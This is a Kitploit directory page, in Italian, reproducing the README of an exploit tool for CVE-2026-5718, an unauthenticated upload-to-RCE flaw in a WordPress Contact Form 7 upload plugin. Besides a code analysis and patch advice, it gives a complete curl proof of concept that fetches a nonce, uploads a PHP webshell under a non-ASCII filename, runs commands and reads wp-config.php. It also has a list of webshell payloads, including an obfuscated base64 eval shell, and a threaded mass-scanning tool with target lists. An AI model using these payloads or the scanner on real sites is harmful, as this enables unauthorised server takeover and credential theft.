Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-5718 — CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin | Kitploit
Strumenti/GitHubGitHub/xxconi/cve-2026-5718
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-5718

CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin

CVE-2026-5718 — Scanner RCE per Upload File CF7 DnD

Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug: drag-and-drop-multiple-file-upload-contact-form-7 CVE ID: CVE-2026-5718 CVSS Score: 8.1 (High) CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo di vulnerabilità: Caricamento file arbitrario non autenticato → Remote Code Execution Versioni vulnerabili: <= 1.3.9.6 Versione corretta: 1.3.9.7 Data di pubblicazione: 17 aprile 2026 Ricercatore: Leonid Semenenko (lsemenenko) — Wordfence


📌 Informazioni sulla vulnerabilità

Nel plugin Drag and Drop Multiple File Upload for Contact Form 7,** due errori logici indipendenti si combinano consentendo ad attaccanti non autenticati di caricare webshell PHP.

  1. Distruzione della blacklist: La configurazione personalizzata della blacklist sostituisce completamente l'elenco predefinito di estensioni pericolose invece di unirsi ad esso. php non è più bloccato.

  2. Bypass Non-ASCII: La presenza di caratteri non ASCII nel nome del file impedisce la chiamata della funzione wpcf7_antiscript_file_name(). L'estensione .php viene preservata e il file viene scritto su disco.


🔍 Riepilogo della vulnerabilità


⚙️ Analisi tecnica

Vulnerabilità 1 — Nonce pubblico (riga 62)

root@kitploit:~
// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
    // Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
    if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
        wp_send_json_error('Request blocked: cURL access is forbidden.');
    }

    if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
        // Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
        wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
    }
}

L'azione wp_ajax_nopriv__wpcf7_check_nonce è pubblica. Quando viene inviato un nonce non valido, un nuovo nonce viene fornito gratuitamente. Con user-agent Mozilla si elude il controllo curl.


Vulnerabilità 2 — La blacklist viene sostituita invece di essere unita (riga 883)

root@kitploit:~
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 estensioni pericolose: php, php3, php4, pht, phtml, phar...

if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    // ↑ ASSEGNAZIONE (=) — NON UNIONE
    // Elenco personalizzato: solo ['zip']
    // 'php' ora NON è più in elenco → viene accettato
}

Configurazione del form tag che attiva la vulnerabilità:

root@kitploit:~
[mfile upload-file filetypes="*" blacklist-types:zip]

L'amministratore vuole bloccare ZIP → il plugin cancella l'intera denylist predefinita. Tutte le estensioni pericolose, incluso php, vengono ora accettate.

Anche l'elenco hardcoded per filetypes="*" è incompleto:

root@kitploit:~
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' MANCANTI
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );

Vulnerabilità 3 — Bypass Non-ASCII (riga 970)

root@kitploit:~
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );

if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    // Chiamata solo per nomi file puramente ASCII
    $filename = wpcf7_antiscript_file_name( $ascii_name );
    // ↑ avrebbe trasformato shell.php → shell.php.txt — ma viene saltata
}
// Se è presente un carattere non ASCII, questo blocco viene SALTATO
// $filename = "shellシ.php" → l'estensione .php viene preservata
root@kitploit:~
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
    $string = sanitize_file_name( $string );
    // ↑ Cambia solo una copia locale, la $filename esterna NON viene influenzata
    if ( mb_check_encoding( $string, 'ASCII' ) ) {
        return true;
    }
    return false;  // Carattere non ASCII → false → antiscript saltato
}

🔴 Catena di attacco completa

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
│  User-Agent: Mozilla/5.0  (non curl)                       │
│       │                                                     │
│       ▼                                                     │
│  {"success":true,"data":"abc123def456"}                     │
│  → Nonce ottenuto gratuitamente                             │
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
│  security=abc123def456                                      │
│  upload-file=shellシ.php (Content-Type: application/x-php) │
│       │                                                     │
│       ├── Nonce valido ✓                                    │
│       ├── blacklist=['zip'] → 'php' non bloccato ✓          │
│       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
│       ├── wpcf7_antiscript_file_name() SALTATA ✓            │
│       └── move_uploaded_file("shellシ.php") → Scritto su disco│
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
│      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
│       │                                                     │
│       ▼                                                     │
│  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
│  → RCE non autenticato ✓                                    │
└─────────────────────────────────────────────────────────────┘

🧪 Proof of Concept (Manuale)

⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only. Use only on systems you own or have explicit written authorization to test.

Prerequisiti:

  • Plugin installato e attivo (versione <= 1.3.9.6)
  • Il form CF7 deve contenere blacklist-types con il campo [mfile]:
    root@kitploit:~
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

Passo 1 — Ottenere il Nonce

root@kitploit:~
TARGET="https://target.example.com"

NONCE=$(curl -s -X POST \
  "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  --data "action=_wpcf7_check_nonce" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")

echo "Nonce: $NONCE"

Risposta attesa:

root@kitploit:~
{"success": true, "data": "abc123def456"}

Passo 2 — Creare una Webshell con Nome File Non-ASCII

root@kitploit:~
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"

Passo 3 — Caricare la Shell

root@kitploit:~
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')

curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  -F "action=dnd_codedropz_upload" \
  -F "security=${NONCE}" \
  -F "form_id=${FORM_ID}" \
  -F "upload_name=${FIELD_NAME}" \
  -F "upload_folder=${SESSION_FOLDER}" \
  -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"

Risposta attesa:

root@kitploit:~
{
  "success": true,
  "data": {
    "path": "<session-folder-uuid>",
    "file": "shellシ.php"
  }
}

Passo 4 — Costruire l'URL della Shell

root@kitploit:~
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"

Passo 5 — Attivare l'RCE

root@kitploit:~
# comando id
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# leggere wp-config.php
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"

🛠️ Scanner Automatico

Installazione

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Utilizzo

Singolo Target — Completamente Automatico

root@kitploit:~
python dnd_cf7_upload.py -u http://hedef.com

Form ID e Nome Campo Manuali

root@kitploit:~
python dnd_cf7_upload.py -u http://hedef.com \
  --form-id 1 --field-name upload-file

Shell Completa + Comando Personalizzato

root@kitploit:~
python dnd_cf7_upload.py -u http://hedef.com \
  --shell-type full --verify-cmd "whoami"

Scansione Massiva

root@kitploit:~
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt

Con Proxy (Burp Suite)

root@kitploit:~
python dnd_cf7_upload.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

⚙️ Parametri


💀 Tipi di Shell


🔤 Set di Caratteri Non-ASCII

Lo scanner prova i seguenti caratteri in sequenza:


📂 Posizione di Upload della Shell

root@kitploit:~
Radice WordPress/
└── wp-content/
    └── uploads/
        └── wp_dndcf7_uploads/
            └── wpcf7-files/
                └── <session-uuid>/
                    └── shellシ.php   ← Shell qui

⚠️ Nota: Il plugin cancella i file dopo 1 ora per impostazione predefinita. La shell rimane accessibile durante questo intervallo di tempo.


📊 Stati di Output dello Scanner


🖥️ Esempio di Output dello Scanner

root@kitploit:~
[*] Target      : http://hedef.com
[*] Form ID     : rilevamento automatico
[*] Tipo Shell  : system
[*] CMD Verify  : id

[→] http://hedef.com  Passo 1/5: Ottenimento nonce...
[→] http://hedef.com  Passo 2/5: Rilevamento form CF7...
[→] http://hedef.com  Passo 3/5: Caricamento shell (bypass non-ASCII)...
[→] http://hedef.com  Passo 4/5: Creazione URL shell...
[→] http://hedef.com  Passo 5/5: Verifica RCE...

═════════════════════════════════════════════════════════════════
[★ RCE OK    ] http://hedef.com
  Versione    : 1.3.9.6
  Nonce       : abc123def4  (fonte: ajax_endpoint)
  Non-ASCII   : シ
  Shell URL   : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
                wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
  Output RCE  : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════

[+] Salvato → rce_results.txt

🛡️ Difesa / Patch

Unione sicura della blacklist:

root@kitploit:~
// Non sicuro (attuale — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );

// Sicuro (consigliato — 1.3.9.7+)
$blacklist_types = array_merge(
    dnd_cf7_not_allowed_ext(),
    explode( '|', $blacklist["$cf7_upload_name"] )
);

Antiscript incondizionato:

root@kitploit:~
// Non sicuro (attuale)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    $filename = wpcf7_antiscript_file_name( $ascii_name );
}

// Sicuro (consigliato)
$filename = wpcf7_antiscript_file_name( $filename );  // chiamare sempre

.htaccess della directory di upload:

root@kitploit:~
<FilesMatch "\.php\d?$">
    Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

📁 Struttura dei File

root@kitploit:~
cve-2026-5718-scanner/
├── dnd_cf7_upload.py   # Scanner principale
├── requirements.txt    # Dipendenze
└── README.md           # Questo file

⚠️ Avviso Legale

Questo strumento e il PoC sono stati realizzati esclusivamente per l'uso su sistemi autorizzati, a scopo educativo e nell'ambito di test di penetrazione. L'uso su sistemi non autorizzati costituisce reato ai sensi degli articoli 243-245 del codice penale turco e delle leggi internazionali sulla criminalità informatica. Lo sviluppatore non si assume alcuna responsabilità legale derivante dall'uso improprio dello strumento.


📄 Licenza

Licenza MIT — Solo a scopo educativo e di ricerca.


🔗 Riferimenti

  • Wordfence Advisory
  • Plugin WordPress Directory
  • CVSS 3.1 Calculator
  • CWE-434: Unrestricted Upload of File with Dangerous Type
  • Unicode Non-ASCII Characters
Scarica lo strumento
CampoValore
Nome pluginDrag and Drop Multiple File Upload for CF7
CVE IDCVE-2026-5718
Punteggio CVSS8.1 (High)
Tipo di vulnerabilitàUnauthenticated Arbitrary File Upload
Versione vulnerabile<= 1.3.9.6
Versione corretta1.3.9.7
PrerequisitoConfigurazione personalizzata blacklist-types nel form CF7
ParametroBreveDescrizionePredefinito
--url-uURL del singolo target—
--list-lFile con elenco di target—
--threads-tNumero di thread10
--output-oFile di outputrce_results.txt
--form-id—ID del form CF7rilevamento automatico
--field-name—Nome del campo mfileupload-file
--shell-name—Nome file della shellshell
--shell-type—Tipo di shellsystem
--verify-cmd—Comando di verifica RCEid
--proxy—URL del proxy—
--timeout—Timeout richiesta (sec)10
--force—Continua anche se il rilevamento del plugin fallisceFalse
TipoPayloadDescrizione
system<?php system($_GET["cmd"]); ?>Comando di sistema di base
passthru<?php passthru($_GET["cmd"]); ?>Output grezzo
exec<?php echo exec($_GET["cmd"]); ?>Esecuzione silenziosa
assert<?php assert($_POST["cmd"]); ?>Eval tramite POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Offuscamento Base64
fullshell_exec + system + exec fallbackCopertura completa
CarattereUnicodeDescrizione
シU+30B7Katakana Si (usato nel PoC)
жU+0436Cirillico
ñU+00F1Latin Extended
中U+4E2DCJK
αU+03B1Greco
ßU+00DFTedesco
StatoDescrizione
★ RCE OKShell caricata + comando eseguito
★ SHELL ALIVEShell accessibile, risposta diversa
~ EXEC_DISABLEDShell presente, exec() disabilitato
~ HTACCESSShell caricata ma bloccata da .htaccess
? UPLOADEDCaricata ma URL non trovato
- UPL_FAILUpload fallito (corretto/nessuna configurazione)
~ NO_NONCENonce non ottenibile
- NO_PLUGINPlugin non installato
~ UNREACHTarget non raggiungibile
MisuraImplementazione
Aggiornamento del pluginAggiornare alla versione 1.3.9.7+
Unione blacklistUsare array_merge() invece di =
Antiscript incondizionatowpcf7_antiscript_file_name() deve essere sempre chiamata
Protezione nonceL'endpoint del nonce deve essere chiuso all'accesso pubblico
.htaccessBloccare l'esecuzione di PHP nella directory di upload